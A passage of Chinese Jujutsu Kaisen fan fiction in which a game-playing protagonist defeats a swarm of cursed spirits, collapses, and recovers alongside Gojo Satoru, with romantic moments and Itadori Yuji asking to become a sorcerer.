但咒灵仍然太多了,<赤血操术·那落迦>不间断的发动令羽取一真的咒力迅速见底,即使有击杀后掉落的【咒力结晶】作为补充,也不是一时半刻能够解决干净的。 关键是伏黑惠刚在杉泽第三高中那边祓除完数只咒灵回来,咒力根本没得到恢复——同时需要用体术进行防御与反击的他已经快撑不下去,眼见要被涌上来的咒灵吞没了! 羽取一真迅速调转枪口,就要先杀靠近伏黑惠的咒灵! “伏黑——!” 一记飞踢将已要咬断伏黑惠喉咙的怪物踹飞,竟然是本该进医院躲避的虎杖悠仁去而复返! “笨蛋,你回来干什么?!” 伏黑惠瞪大眼睛——为了让虎杖悠仁跑出去而特别设立规则的[帐],反而在这时也拦不住他进来! “也不能放你们在这里面对危险,我在医院干坐着等啊!” 身体素质极好的虎杖悠仁一拳揍趴一个咒灵,根本不在话下,哪怕他没办法祓除咒灵,也能努力让伏黑惠得到一丝喘息的空间。 “而且啊!我一进到这个范围里,就能看见!你说的!这些咒灵了!” 顶着这些不断揍趴下又冲过来的咒灵,虎杖悠仁一字一顿的,大声冲伏黑惠喊道。 “废话,你现在是真的要死到临头了,当然能看见诅咒!” 伏黑惠草草擦了下额头淌落的血,哪怕感谢对方回来救自己也已经快要气到快要口不择言,让虎杖悠仁赶紧走。 “那些咒灵只会冲着手指过来,你离开这里就不会有事!” “为什么这些咒灵要冲着那根手指来?” 虎杖悠仁继续大声问他,边不断挥拳揍飞那些往伏黑惠靠过来的咒灵,让他有了专心操控[玉犬]的机会。 见伏黑惠没事,羽取一真也勉强松了口气。 “因为吃下去会获得更强的咒力!” 伏黑惠简直难以想象为什么这家伙要专门来找死,人还怪倔的就是不走,只能在这紧急情况下跟他讲道理,连语速都加快不少。 “好了快走吧,你就算现在能看见咒灵也祓除不了,迟早会没命的!” “那我吃下手指的话,也能获得咒力吧?”虎杖悠仁眼睛一亮,“伏黑把那根手指给我呗!” 伏黑惠倒吸一口气,瞪着他。 “你在说什么傻话?!” 断断续续旁听他们聊天内容的羽取一真听到这里,立刻强势插入对话。 “不,惠把那根手指给我。” “…………” 伏黑惠又迅速转头瞪着羽取一真,脸上的表情很明显。 你又在说什么傻话??你不会也想吃吧?! “放心,我的咒力结晶目前还够吃。” 羽取一真看出了伏黑惠表情中蕴含的意思,冷静解释道,换来伏黑惠更加无语的反应,像是突然想起来这人平时就已经在乱吃东西了。 “但要是假设我们将这场意外定义成[人为],就意味着手指的封印解开同样不会是巧合。而且你也说了,哪怕是特级咒物,也不可能吸引这么多咒灵。” “所以,我猜敌人大概是想用这根手指做点什么。或者,哪怕只是想要抢走这根手指,” 迅速对准最靠近他的咒灵开完最后几枪,羽取一真便收起[血寄斗枪],在转瞬即逝的攻击空白中空手便朝伏黑惠伸出,示意他将手指扔过来。 原本还在犹豫要不要照做的伏黑惠一看黑发青年甚至都放弃了攻击,便不再迟疑的将那根手指从口袋里逃出来,丢向羽取一真! 羽取一真接住手指的下一刻,便将它收进不会泄露丝毫气息的游戏物品栏里。 紧接着,他挥手间洒出大片血珠,漫天到几乎能遮蔽所有人的视线——以这种出血量,换成普通人早就没命了! 但他是玩家。 刚才刷到的,再加上之前悟帮忙打的存货,羽取一真花费掉大半【咒力结晶】,一瞬间补满了咒力,又选择在下一瞬间全部清空,连体力条也跟着骤然见底。 <赤血操术·超新星>! 溅开在空中的血珠立刻凝固,随即爆裂成无数细小的疾驰血弹,却能精准绕过伏黑惠和虎杖悠仁,以肉眼难以辨别的速度刺穿包围住他们的咒灵群潮! 与这攻击相对的,咒灵齐齐响起的哀嚎如同被劲风吹低的野草,涨与消仅在眨眼之间。 唯一站着的,仅剩在场三人。 伏黑惠与虎杖悠仁同样震惊愣在原地,完全回不过神。 【目前发动技能: <赤血操术·超新星>:可将咒力量与体力值转换为压缩的血液并爆裂成无数血弹,对群体目标进行攻击。转换的咒力量与体力值越多,造成的攻击伤害越高。】 直至此刻,羽取一真才垂下手,语气冷淡的接完后半句话。 “我也绝不让敌人如愿。” ——随着咒灵尸体尽数化作尘埃,困住他们的[帐]也逐渐散去,露出繁星遍布的夜空。 虎杖悠仁的眼睛闪闪发亮,超级崇拜盯着羽取一真。 “老师!加茂老师超酷!” 连伏黑惠也垮下肩膀,几乎是精疲力尽的坐在地上。 “得救了……” 好恐怖的杀伤力啊,加茂老师的那招术式。 如果按照加茂老师刚才的猜测,是有敌人在借着特级咒物做钓饵,驱使咒灵潮攻击他们吗……莫非,连封印突然解开也是敌人已经设计好的? “…给悟打电话,让他尽快来这边接我们。” 空气沉寂了片刻,正在思索的伏黑惠只听到黑发青年这么开口说道,声音极低。 “我可能,得睡一会……” 当他抬起视线往过去时,便见到对方的身体摇晃片刻,陡然往前栽倒,被虎杖悠仁眼疾手快接在怀里——彻底陷入了昏迷。 “加茂老师!?” 【注意,当前体力值过低!】 【注意,当前体力值过低!】 【注意,当前体力值过低!】 第46章 “伏黑, 哇伏黑,这要怎么办啊!加茂老师会不会有事!?” 虎杖悠仁接住了昏迷的羽取一真,整个人都显得有点手足无措, 只能转头赶紧求助伏黑惠。 “身后就是医院, 要不要直接喊医生来啊!” 这种情况他还是第一次遇到,完全不知道该怎么处理。 结束那通打给五条老师的电话,伏黑惠撑着精疲力尽的身体过来,确认加茂老师还活着,但面色苍白,呼吸极为微弱。 “普通的医生没有用, 加茂老师的术式是[赤血操术],大概是失血过多了。” 伏黑惠松了口气。 “咦, 那直接找医生输血呢?”虎杖悠仁问。 “不太行, 我听说拥有[赤血操术]的术师血液都比较特殊, 如果贸然输入他人的血液, 还不知道会发生什么意外。”伏黑惠摇了摇头。 “这样啊……” “既然加茂老师说他睡一会就好,我们就先尽快离开这里。刚才战斗的动静太大, 如果引起普通人的注意会很麻烦。” 伏黑惠正要伸手,从虎杖悠仁那帮忙承担一部分加茂老师的重量,却忽然听见身边传来另一句话,声线偏低, 透着极为不愉快的沉。 “我来就好。” “五条老师!” 伏黑惠蓦然转头, 看着刚挂断电话没多久的五条悟此刻已经站在他身边,双手扣拢, 小臂间还挂着个纸袋。 “晚上好啊,惠,还有这位少年。” 五条悟简单打了个招呼, 便过来从虎杖悠仁手中将黑发青年接到自己怀抱里,转而再轻松背起。 羽取一真的脑袋便顺势枕在五条悟肩头,仍闭着眼沉沉昏迷着,没有丝毫醒来的迹象。 但他还有呼吸,[六眼]能看到有微弱的咒力在他体内缓慢循环着,一点一点增加,就像被一簇被重新点燃的火苗。 这令五条悟脑中那根压紧的弦被稍许松开了些。 “电话里只听你讲了个大概,但目前暂时没空听你细说了。” 他再开口问伏黑惠时,声音明显比刚才轻松许多。 “两面宿傩的手指在哪里?” “被加茂老师收起来了,我也不清楚他放在哪里。”伏黑惠回道。 “这倒正好。”五条悟又问,“惠还有力气自己回去吗?” 伏黑惠凝神感受了下身体状况,见底的咒力正在缓慢恢复,身体有受伤但不算严重,便点点头。 “有。” “很好。我来的一路上已经用[六眼]看过了,沿途都没有咒灵或敌人的身影。伊地知正在往这边赶,他会负责护送你回学校。” 即使是任务中,也极难见到五条悟这副没什么表情的模样,连口吻都极为冷静且稳重。 但伏黑惠能清晰感觉出来,五条老师现在非常、非常的不愉快。 要说是在生气也有可能,只是他从来没见过五条老师生气到底是什么模样,一时间有点拿不定判断。 在这关键时候,五条悟可没有余裕给伏黑惠仔细剖析自己的情绪。 他简单交代完收尾事项,确保伏黑惠后续的回程途中不会再出现意外,便将五指扣在身前,以一种将要发动[苍]的姿态对伏黑惠说道。 “我回去找硝子治疗他,先走一步。” “好。” 伏黑惠点头,目送五条老师背着黑发青年发动能够长距离移动的[苍],在眨眼之间便没了身影。 旁观这如同大变活人般不可思议场景的虎杖悠仁震惊瞪大眼睛,又揉了几下。 “哇啊这是什么,超厉害!” 他过去既没见过咒灵,也从不知道在普通的日常社会背后,还有一群能够使用这种力量的咒术师存在——甚至包括他那位从未见过面的母亲。 “是五条老师的术式,但发动条件其实相当苛刻,在不熟悉的路径上使用其实是很危险的……估计是听到我刚才说加茂老师的状态不妙,他才紧急用[苍]赶路过来的。” 趁着医院的人没有出来问东问西,伏黑惠带着虎杖悠仁往外走,准备找个没人的地方再和伊地知洁高联系,让对方来接他。 “你也快回家吧,记得别和其他人说这件事……呼,估计说了也不会信就是。” 伏黑惠单手插兜,站在没有路灯的街道拐角处给伊地知打电话,边让虎杖悠仁也早点回去。 他那身高专校服在接连战斗中都变得破破烂烂的,如果不是咒灵死后尸体也会跟着消散,估计还会沾染大片肮脏腥臭的血迹与碎块。 “不行,我也要和你一起去那个,高专学校。” 虎杖悠仁犹豫了片刻,伸手拉住伏黑惠的小臂,坚定的对他开口道。 伏黑惠一只手还拿着手机在和伊地知商量碰头地点,闻言满脸困惑的转回头来,缓慢向虎杖悠仁打出一个问号。 “哈?你去做什么?” “我也很担心加茂老师啊!”虎杖悠仁认真道。 “而且,我还要找到父母失踪的真相。既然我妈妈是咒术师,那无论如何都得问咒术师那边的人才行吧?” “你妈妈是咒术师?”伏黑惠愣了下,“叫什么名字?” “啊…虎杖香织。” 伏黑惠仔细回忆许久,确定自己没有听过这个名字,无论是[虎杖]抑或[香织]。 “没听说过用这个名字活动的咒术师,她可能已经不在咒术界了。”他摇了摇头,“我可以回去帮你找找看,总之你先回家……” ——伏黑惠边说着,边想将胳膊从虎杖悠仁的手中抽出来,一个用力。 纹丝不动。 “…………” 突然想起来对方是大猩猩的伏黑惠,陷入沉默。 “我已经没有家了。” 虎杖悠仁低声开口,“爷爷今天走了。” 只剩下一个人居住的房子,也能被称作[家]吗? “至少,让我看到加茂老师真的没事,而不是为了救我们……” 伏黑惠:“………” 如果一定要带他进高专的话,也不是没有借口,就说担心被敌人蓄意报复、需要进高专躲避几天之类……高层那边要是知道了可能会不同意,需要先问一下五条老师。 不过,应该没什么问题吧……听说加茂老师现在把总监部搅得天翻地覆,那些高层都不敢插手东京高专这边的事情了。 伏黑惠深吸口气,向这位刚认识不到半天,却能勇敢冲进咒灵堆里救自己一命的樱发少年妥协了。 “你跟过来吧,我提前和五条老师说一声,看看他能不能安排。” “好耶!” 虎杖悠仁的眼睛瞬间变得亮晶晶,像摇起尾巴的小老虎。 “啊话说,五条老师就是刚才我们见到的那位吗?他和加茂老师是什么关系?” 这个问题着实难倒了伏黑惠。 他努力的、认真的思考了很久,又斟酌半天用词,才谨慎的出声回答道。 “迟早会和加茂老师结婚的那种关系。” “噢好!……欸等等!?” ………… 好难闻…… 在羽取一真睁开眼前,浓烈的、刺鼻的消毒水味道先一步萦绕在鼻间,立刻令他的大脑联想到一个特定场所。 他似乎躺在医院里? 羽取一真不太确定自己到底睡了多久,才能让体力值自然回满——或者说,至少回复到游戏不再发出无法行动警告的数值。 毕竟对他而言,游戏里的休息只是一闭眼又一睁眼的瞬间,放在普通非虚拟游戏里则类似于屏幕黑下去又重新转亮,就代表玩家已经休息好了。 周围格外安静,仅有头顶的通风口传来轻微噪音,以及经过灯管内的电流偶尔不稳时发出的嗡鸣。 羽取一真撑着格外冷硬的床面,在睁开眼时便顺势坐起身,想要看看自己到底在哪。 没有窗户,纯白的方格瓷砖贴满墙壁,洗手池、立柜和门都是没有任何装饰的冷硬金属,数盏冷白光灯自上方照落,将那些斑驳老旧的使用痕迹勾勒得更加清晰,以至于这间地下室给人的第一感觉并非什么诊所,而是停尸间。 或者是什么法医的解剖室。 总之不太像治病救人的地方。 羽取一真摸了摸身下的床,也是金属的,只在上面铺了层薄薄的床单。 不过,他并没有特别紧张。 因为漂亮大悟正倚坐在床边的椅子上,双手交叉环抱在胸前,头低低的,小半张脸都埋进了那件纯黑色的立领里,似乎在睡觉。 由于眼罩隔绝了视线,羽取一真不太能确定他到底是真的睡着了,还只是单纯在走神。 但这张椅子明显有点小,让身量颀长的他坐着有些局促,被束起的白毛毛也有点蔫,好似被细雨打湿了,朝一侧歪倒些许。 羽取一真悄无声息地抬起手,在五条悟眼前晃了晃——没有反应,是真的睡着了。 是在担心他,所以带他回来后就一直陪在这里,哪怕累到睡着也不肯离开吗? 羽取一真抿起了嘴,有点难以启齿自己此刻的心底雀跃,好像有两个小人在跳踢踏舞。 不对,是交谊舞。 他是如此清晰的察觉到,自己此刻的心情比以前打那些游戏时,刷出跟攻略目标在一起的结局CG还要高兴一百倍。 或许确切的说,这跟是不是打出游戏特殊剧情,和五条悟是不是白毛都没有关系。 他仅是,正在为五条悟这个人本身而逐渐沦陷下去。 ——不过,那也是难免的事情。 羽取一真半点没有抗拒,反而相当理直气壮的想道。 毕竟悟就是既可爱又可靠,耍酷与卖萌兼备,无论做什么都超有魅力,而且越接触就越能体会到性格闪光点的白毛童颜系漂亮帅哥啊。 能玩到这款游戏真是太好了。 羽取一真默默盯着睡着的漂亮大悟许久,有点想拿出手机将这一幕拍下来,但还是忍住了。 手机的拍照声没办法关掉,他还不想吵醒对方。 但是,他就是偷偷的,尝试摸一下漂亮大悟的白毛……应该,没有关系吧。 万一现在的[无下限]术式不会阻拦他呢? 羽取一真怀着隐秘的期待心情,在保证不发出任何声音的情况下,再度微倾上半身,伸出五指,悄悄摸向那头在灯光映照下分外柔软的白毛。 越来越近,越来越近……然后,好似被一层薄膜阻隔那般,指尖停在与白毛接触的咫尺之间,哪怕再用力,也几乎不能再往前了。 哪怕睡着也没有办法摸到啊……[无下限]还真是全自动的,半分破绽也没有。 羽取一真在心底遗憾叹出口气,正要收回力道时—— 好似突然被抽走一层空间,他的上半身往前栽了些,指尖随即传来切实的,轻柔又温暖的触感。 “哎呀,” 眼罩被拇指勾着边缘掀起,露出的漂亮苍瞳正朝着羽取一真,泛起狡黠的笑意。 “抓到了一只偷腥猫。” 第47章 “啊, 你醒了。” 家入硝子出门买完用来代替香烟的戒烟棒棒糖,回到她的诊室时,发现那位经过反转术式治疗的黑发青年已经坐起了身体, 正在和五条悟说话。 她又往里走了几步, 忽然感觉有哪里不太对劲。 “你的眼罩怎么取下来了?” 几乎不用刻意去分辨异常,她就发现五条悟此刻明明不在战斗状态,却是一副摘下眼罩、彻底暴露[六眼]的散发模样,实在有些不合常理。 再加上她也姑且听说过这位让五条悟紧急打电话把她喊起来加班的黑发青年,是新年时胆敢向五条悟求婚的加茂现任家主…… 家入硝子摸了摸口袋,从里面掏出一根棒棒糖, 拆开包装,放入口中。 “唉, 我懂了。” 穿着白大褂的她双手插兜, 自觉地转身就往门外走去。 “我再出去抽两根棒棒糖…不对, 抽两根烟回来。你们请便。” 五条悟:“…………” 五条悟强调:“我们什么都没打算做啊!” 羽取一真满脸一本正经的附和:“是的, 什么都没打算做。” 家入硝子的视线在这两人间晃了晃,呵出一声, 对这句狡辩不置可否。 “这么一说,倒显得我们刚才好像真的打算做什么似的……” 五条悟虚起眼睛,好笑中又透着点无奈。 不过,此刻的他显然比刚将羽取一真带回来时放松多了, 将眼罩重新戴回去时, 余光还能瞥见黑发青年望过来的目光里透出格外遗憾的小情绪。 这小子,刚才已经让他随意触碰自己那么久, 现在竟然还一副完全没有摸足瘾的反应啊。 明明他都心软到特意解开[无下限]了欸—— 嗨呀,他是不是对这位加茂家主有点太好啦? 五条悟的心情很好,好得他近乎克制不住得要在脸上露出笑意。当他再看向黑发青年时, 又觉得对方的反应实在很可爱,连那微微低下头、有点失落又有点满足的模样也惹人欢喜。 于是他也回敬般伸手去够对方的头发,狠狠揉搓了好几下。 坐在床上的羽取一真也没有挣扎,任由漂亮大悟将自己的头发揉乱,又用指尖慢慢捋顺,让它重新变得服帖——除了几簇翘起的发梢成了漏网之鱼,仍旧倔强地支棱着。 家入硝子站在入门的台阶上目睹全程,忽然觉得口中的棒棒糖都变得寡淡起来。 她,有点多余啊。 这两人之间的气氛都快甜得她牙掉。 早在五条把他背过来的时候,她就该想到这一点的……几乎没见过他那般急匆匆的模样,解释时甚至隐隐藏着一股压抑的怒意。 结果现在算是什么,再待下去,她都快感觉是自己不识相了喂。 家入硝子无声叹出口气,在这两人一同望过来的视线里立刻抬手比了个出去的姿势。 “我现在就走。” “等等硝子,”五条悟出声喊住她,“都说不打算做什么啦,你快来帮忙看看他的恢复状况怎么样。” “我没事了。” 撇了眼游戏里已经被补满的体力值与咒力量,羽取一真出声道。 但五条悟不信,他甚至从椅子上起身,压着黑发青年继续在床上躺好,才招手让家入硝子过来仔细给他复查一下身体。 “…………” 家入硝子动了动嘴角,有点想扯出一个干巴巴的笑来,但还是放弃了。 那种黏糊糊的暧昧氛围,竟然还要再三跟她强调没什么……呵,鬼信。 话虽如此,凭借着出色的职业精神,她还是很负责任地检查了番羽取一真的身体,然后做出“他确实完全没事了”的专业判断。 直到此刻,五条悟才算是真正放松下来。 “我睡了多久?”羽取一真问他。 “差不多一天,现在是第二天的后半夜啦。” 羽取一真能平安无事,让五条悟的心情变得超级好,声音也变回了喜欢让尾音上扬着结束的又轻又软。 “硝子,多谢——改天请你喝酒哦!” 这种超卖萌的口吻在跟着向家入硝子道谢的羽取一真听来,简直可爱得要命。 刚才摸到白毛毛的手感也无敌棒,更别提漂亮大悟还主动蹭了下他的掌心,冲他眨着单眼抛出一个wink…… 啊,死而无憾。 “你又不会喝酒,跟你喝超级没意思。” 家入硝子左右望着这两人脸上根本没有遮掩的微表情,摆了摆手,忧郁叹口气。 “那把歌姬也叫上嘛。” 五条悟毫不介意对方说他的酒量很菜——因为事实就是他很菜。 “那就是歌姬陪我喝酒了,你准备干坐在旁边喝牛奶吗?呼,还不如去过你的二人世界。” 顶着淡青眼圈的家入硝子打了个呵欠,这次是真的准备回去睡觉了。 目送硝子离开的五条悟歪了下脑袋,完全没有反驳“二人世界”的说法。 他和羽取一真窝在公寓里度过休息日的时候,确实就和“二人世界”没什么区别了嘛。 至于羽取一真,还在偷偷想着[漂亮大悟不擅长喝酒]这个新情报。 “悠仁和惠怎么样了?” 这间诊所内再度只剩他们二人,羽取一真重新坐起来,理了理被卷起的袖口。 “惠也接受过硝子治疗啦,现在正呼呼大睡着吧。” 五条悟想了想,“悠仁的话,他坚持要跟过来亲眼确认你的安危,索性就先安排他住在高专宿舍了,反正空房间到处都是。” “哇……虽然他是非术师,但身体素质真的很强哦,甚至感觉比真希还要强一点,差点以为他身上也带着[天与咒缚]呢。” “悠仁力气真的很大。” 想起他竟然能和开着<赤血操术·赤鳞跃动>的自己拔河,羽取一真默默点头。 “[天与咒缚]又是什么?” 又是游戏的新设定? 这游戏里稀奇古怪的设定可真多。 “[天与咒缚]啊,我想想要怎么和你解释,”五条悟摸了摸下巴,“我们术师呢,有一种叫做[束缚]的强制遵守条约,可以人与人之间签订,也可以人与术式之间签订,用必须遵守的等量代价,来换取某种自己想要获得的结果。” “比如惠那晚放下的[帐],就是[束缚]的一种体现哦。” 他竖起双手的食指,还超级俏皮的冲羽取一真摇了摇。 “然后呢,[天与咒缚]就是人生来便被强制订立[束缚],以失去肉丨体的一部分属性为代价,来换取另一部分属性的加强。例如真希就是失去了绝大部分咒力,来换取她的身体强度远超常人。” “当然啦,京都高专那边还有个反例,是以失去了肉丨体健康为代价,换来了比寻常术师更广的术式范围与更强的咒力输出。” “原来如此。” 羽取一真大概听明白了,就是等价交换原则。 如果放魔兽游戏里就是一句[但是,古尔丹,代价是什么呢]。 “不过嘛,我也听悠仁他们说虎杖香织的事情了。” 五条悟感觉有点困,便起身示意羽取一真要不要回高专宿舍休息——后者自然同意,随即从床上下来,与他并肩而行。 他以前很擅长熬夜的,为了赶任务熬通宵也是家常便饭;但如今休假的不断增加,开始让他的作息逐渐变得稳定起来。 夜晚的高专极为安静,仅有二人的脚步声交叠着轻响在这条蜿蜒曲折的长廊里;皎月斜斜的照了进来,让走廊连同碎石庭院都披了层银白的柔和光华。 ——偶尔,他也能看见银泄似的清冽月光悄悄溜到了五条悟的身上。于是,后者那纯白的发丝好似也在夜色里晕开了,又轻又软,漂亮得像落在掌心里的细雪。 “悟打算帮忙调查吗?” 羽取一真原本只是想对五条悟说一句话,但当他目光转向对方之后,便再也挪不回去了。 五条悟双手揣在上衣的口袋里,笑着回答羽取一真的问题时,假装没有发现这点。 “是喔,还是要调查一下的,结合悠仁那不同寻常的身体素质来看,总感觉有点蹊跷……唔,也可能是最近发生的‘诡异’事件太多,让我条件反射感觉不对劲呢。” “悟觉得不对劲,那就肯定不对劲。” “哎呀,这么支持我吗?来摸摸头奖励——等下等下,是我摸你的!” “哦。” “………” 最终,二人互相都揉到了对方的脑袋,心满意足。 等穿过庭院,终于来到了宿舍楼,五条悟打开自己的那间房门,正要侧过身和羽取一真说句晚安,便见到对方动作极为自然的越过他身边,顺着打开的门走了进去。 握着门把手的五条悟呆住:“欸?” 刚走两步,发现自己把宿舍当成公寓的羽取一真:“啊。” 之前他在公寓住习惯了,几乎没怎么在高专宿舍住过,结果下意识就跟着悟进来他宿舍了啊…… 宿舍应该不会有两间房,或是两张床吧? 再怎么说也不可能直接睡一起的,好感度肯定还没有达到那种程度…… 羽取一真刚打算若无其事的退出去,假装什么也没发生——却见到五条悟也走了进来,同样相当顺手地带上了门。 羽取一真下意识“嗯?”了一声。 “衣柜里有新浴巾喔。” 对方提醒的语气也超级随意,就仿佛只是在叮嘱一件相当普通的平常小事。 说完这句,五条悟就去打开冰箱找点水喝了,显然是打算先等羽取一真洗完澡,他再去。 而这间教师宿舍——即使它是一间属于五条悟的专属宿舍,也难以掩盖这间一室一厨一卫的宿舍内,仅有一张床的事实。 ——这是真的吗? 羽取一真感觉自己甚至能清晰体验到心脏在胸腔里的每一次跳动,就像小鹿跳跃在山林溪水间时,那随之一起一伏的尾巴。 他终于想起打开游戏浮窗。 【当前,与您有过接触的人物按好感度排列如下: 五条悟:82。】 第48章 上午的天气很好, 灿烂的阳光很好,连快要入夏时响起的蝉鸣也很好。 羽取一真感觉自己连走路都轻飘飘的,心情好到哪怕推开窗户看外面的景色, 也完全想不起来课上学到的衬景俳句, 或者语言优美的古诗文。 哪怕平时考试的偏差值再高,如何是老师口中的好学生,此刻羽取一真脑中也词穷到只被“开心”这个单词塞得快要满溢,没有任何空余。 啊,庭院里有一片树叶从枝头落了下来,晃晃悠悠的, 也好可爱。 羽取一真的黑瞳盯着那片随风一荡一荡的落叶,心底却想着漂亮大悟之前半伏低身体骑机车, 纯白发丝被劲风吹拂得飞扬的场景。 偶尔压弯从侧方超车时, 还能看见对方无意识舔了下唇, 为享受这急速而悄悄兴奋着的隐晦小表情。 真的很漂亮, 漂亮得要命。 好可惜,他当时没想起来要拍照…… “咦, 这么早就起床了?” 正走神着,羽取一真的身后传来了五条悟的声音,明显刚睡醒,音节与音节间透着不甚明晰的黏连感, 像熬到高温后半化不化的拉丝蜜糖。 羽取一真朝屋内看去, 能看见穿着宽松居家服的漂亮大悟正侧躺在床上,手里抱着半个枕头, 小半张脸正蹭进那柔软的被褥里,在慢吞吞地打呵欠。 他此时刚醒,自然没有戴那副隔绝视线眼罩或者墨镜;因而, 无论是纯白细密的睫羽,抑或比窗外晴空还要澄澈的苍瞳,都正半掩半睁着,同样向羽取一真这边望过来。 再度给予了某人会心一击。 羽取一真:“………!” 羽取一真铿锵有力的回道:“不,我整晚都没睡。” 先不提游戏有没有那种功能模块开放给他……但关键是漂亮大悟就躺在他身边,他怎么可能睡得着? 当然是认认真真盯了人一整夜啊! 这下,换成五条悟盯着羽取一真发出“……”了。 那种又无奈,又想笑,心情还特别愉快的混杂情绪,真是能在黑发青年这里反复体验到啊。 “哈哈……哈哈哈哈哈,真有你的。” 愣了片刻,五条悟没忍住笑声——埋在被褥与枕头之间传出的笑声很闷,但谁都能听出其中所蕴藏着的,这份亲昵又纵容的态度。 既然笑清醒了,五条悟也只好跟着起床。 在踩着拖鞋去洗漱前,他还抬手指了指门外,“走廊里有人在噢,是悠仁呢,你要不要去看看?” 这当然不是听到了动静或者别的什么原因,单纯是[六眼]所带来的视野效果太强,即使隔着墙壁,也能轻而易举看见自普通人体内泄漏的咒力。 “啊,好。” 羽取一真从窗边离开,来到门口。 他原本还以为悠仁是守在了悟的宿舍门口,但在他打开门却没见到人——往右一看,正与同样听到动静望过来的悠仁对上视线。 羽取一真先出声打招呼:“怎么了,悠仁?” 正要抬手敲隔壁宿舍门的虎杖悠仁:“…………” 等下,伏黑没和他说错吧?这间才是加茂老师的宿舍吧?? 为什么加茂老师会从隔壁宿舍探出脑袋来啦! …………等等,那间宿舍是。 头脑灯泡一亮,虎杖悠仁瞬间悟了。 大人的事情,他还是少问……不,就当做没看见好了! “我听家入医生说你的身体已经没事啦,就特意来看看。” 虎杖悠仁脸上挂起超级灿烂的笑容,语气也是活泼又开朗的,“真的太好了!” “嗯,别担心,只是当时ti……血一口气用的有点多。” 羽取一真险些要习惯性说出游戏设定里的【体力值】,好在及时改口。 “悠仁,你这几天不用去上学吗?” “我向老师请假了几天,”虎杖悠仁挠了挠头,有点不好意思道,“一方面是想确定你真的没事,另一方面是要火化爷爷,把他的骨灰带回老家好好安葬。” “另外,还有妈妈的事情也想问一下……总之,暂时不去学校也没关系啦!” “这样啊。” 羽取一真点头,上下认真端详虎杖悠仁许久,确定他真的没有受伤后,也算是放下心来。 明明只是普通人,却敢拼死冲进咒灵堆里救下伏黑惠的悠仁,确实是很好的孩子。 “给爷爷扫完墓之后,要记得去上学。” 毕竟他的本体也是普通高中生,而不是这种奇怪的、一个年级只有两三个学生的咒术高专,更不是野崎笔下那成天谈恋爱的校园少女漫画,还是很注重学习的。 叮嘱悠仁好好念书,除了之前答应虎杖爷爷照拂他外,甚至可以说是一种同为学生的本能。 而在虎杖悠仁听来,这只是加茂老师真的在履行他当时对爷爷许诺的约定,不带半分敷衍。 “那个……” 听到这里,虎杖悠仁有点感动,但又露出一点不知道该怎么说的表情,只好先干巴巴笑了两下,小声对他说道。 “加茂老师,我也想当咒术师。” “……嗯?”羽取一真的黑瞳里流露出一点困惑,“我记得你是看不见咒灵的普通人。” “确实是这样没错啦,但是我很能打!” 虎杖悠仁比了个大力水手的健美姿势,自豪道,“真希前辈都很震惊我竟然比她的身体素质都要高呢!” “如果真希前辈都能靠眼镜加咒具来祓除咒灵的话,那我也可以做到嘛。” 禅院真希是东京高专二年级的学生,也是昨晚五条悟举例的[天与咒缚]中的一员。 咒力只有一般人水平的她看不见咒灵,全靠[能够看见咒灵的眼镜]与[灌注了咒力的咒具],才能够做到像普通术师那样祓除咒灵。 五条悟再三确认虎杖悠仁本身没有[天与咒缚],竟然就拥有着比禅院真希还要强大的肉丨体能力,简直不可思议。 “太危险了,不行。” 羽取一真沉吟片刻,还是拒绝。 伏黑惠被定义为入学即拥有二级水平的天才咒术师,都两次遇到关乎性命的危机;悠仁毕竟只是个身体强一些的非术师,怎么想都不能令人安心。 哪怕他是想找父母失踪的真相,他也会帮忙的。 而且……羽取一真其实感到有点奇怪。 按照通常游戏而言,这种情况已经可以算是剧情任务触发了吧?放在这游戏里,多少也应该算是一个委托。 到目前为止,游戏却依旧没有弹出任何【委托】或【任务】的提示,就像这件事从头到尾都根本无关紧要一般。 不过,即使没有任务或委托奖励,羽取一真也依旧决定帮悠仁的忙。 见加茂老师态度坚定的拒绝,虎杖悠仁盯着他看的元气表情瞬间垮了,变成了可怜巴巴,力图让黑发青年心软。 羽取一真:“…………” 又不是悟,这样盯着他看也是没有用的。 “其实啦,我觉得悠仁可以在放学后的社团时间过来这边补课。” 正想着漂亮大悟,漂亮大悟就自他身后开口说道。 羽取一真侧过身,看见戴着墨镜的悟斜倚门框,双手抱胸在冲他笑,也不知到底偷听了多久。 “五条老师!” 虎杖悠仁眼睛顿时一亮,又在心里悄悄擦汗——他刚才过来找加茂老师,应该没有打扰到他们吧……应该没有吧? 呜哇,他还是头一次遇见这种情况,超忐忑! “无论悠仁有没有就读高专,由于之前特级咒物遗失的那起事件,他都已经在咒术界露过脸了。” 五条悟向羽取一真解释道。 “况且,就算你以后一直不和悠仁见面,假装不认识他,我觉得敌人也不会相信的。” 毕竟特级咒物丢失、封印自动解除、咒灵潮袭击……还有悠仁父母的意外,这一系列的事件都意味着背后真相没那么简单,悠仁可能也早就被盯上了。 “再加上高层、还有[那家伙]的关系……我觉得,至少需要让悠仁拥有战斗的能力。不管是跟咒灵的,还是跟术师的。” 高层和[那家伙]被五条悟说得很含混,但羽取一真明白他的意思——目前还没抓到策划者是谁,但如果再出现和上次类似的事件,最好让悠仁能拥有辨别危险的能力,才能以此实施正确的对策,进行自保或反击。 这么一说倒确实没错……他毕竟不能整天陪在悠仁身边,而悠仁又不像悟那样强到高层都拿他没办法,自然是需要尽快提高自身战力的。 “而且,别看真希目前被评为四级咒术师,但其实是因为禅院家那边插手她的晋升评定啦,她早就能祓除二级咒灵了。” 五条悟朝虎杖悠仁摊开一只手,显然对他的初始好感就很不错。 “不仅是身体,悠仁的格斗天赋也很高哦!成长速度肯定超快的!就先让他在这里住一段时间啦。” 这近似撒娇的口吻,这软绵绵拖起长腔的卖萌语气,羽取一真很快就被说服了。 “那就让悠仁先当兼职,我记得咒术师是有薪水的,哪怕是学生。” 虎杖悠仁震惊中还透着惊喜:“什么,还有钱拿吗!” “当然啦!当咒术师很危险的,自然也会有相应的待遇。只要上面通过了你的术师评定,除任务外,每个月还会有基本津贴哦。” 五条悟过来拍了拍悠仁的肩膀,冲他比出一个拇指。 任务可以不出,钱不能不薅。 “加油哦,不用担心进出高专的许可问题,我来搞定夜蛾校长!啊,高层的话……” “我来。” 羽取一真相当无所谓的接道。 他倒要看看谁敢不同意。 ………… “荒谬!荒谬至极!” 不出意外,在收到[申请虎杖悠仁为四级咒术师]的提案后,总监部的高层们被气到当场破口大骂。 “禅院真希那种[天与咒缚]也就算了,虎杖悠仁,区区一个普通人,无法控制咒力的非术师,竟然也要成为咒术师?!” “是不是太过小看我等了,那个活阎王!” “简直可笑,普通人怎么能当咒术师!” “老夫真是忍无可忍了,这个臭小子根本就是——” ——吱呀。 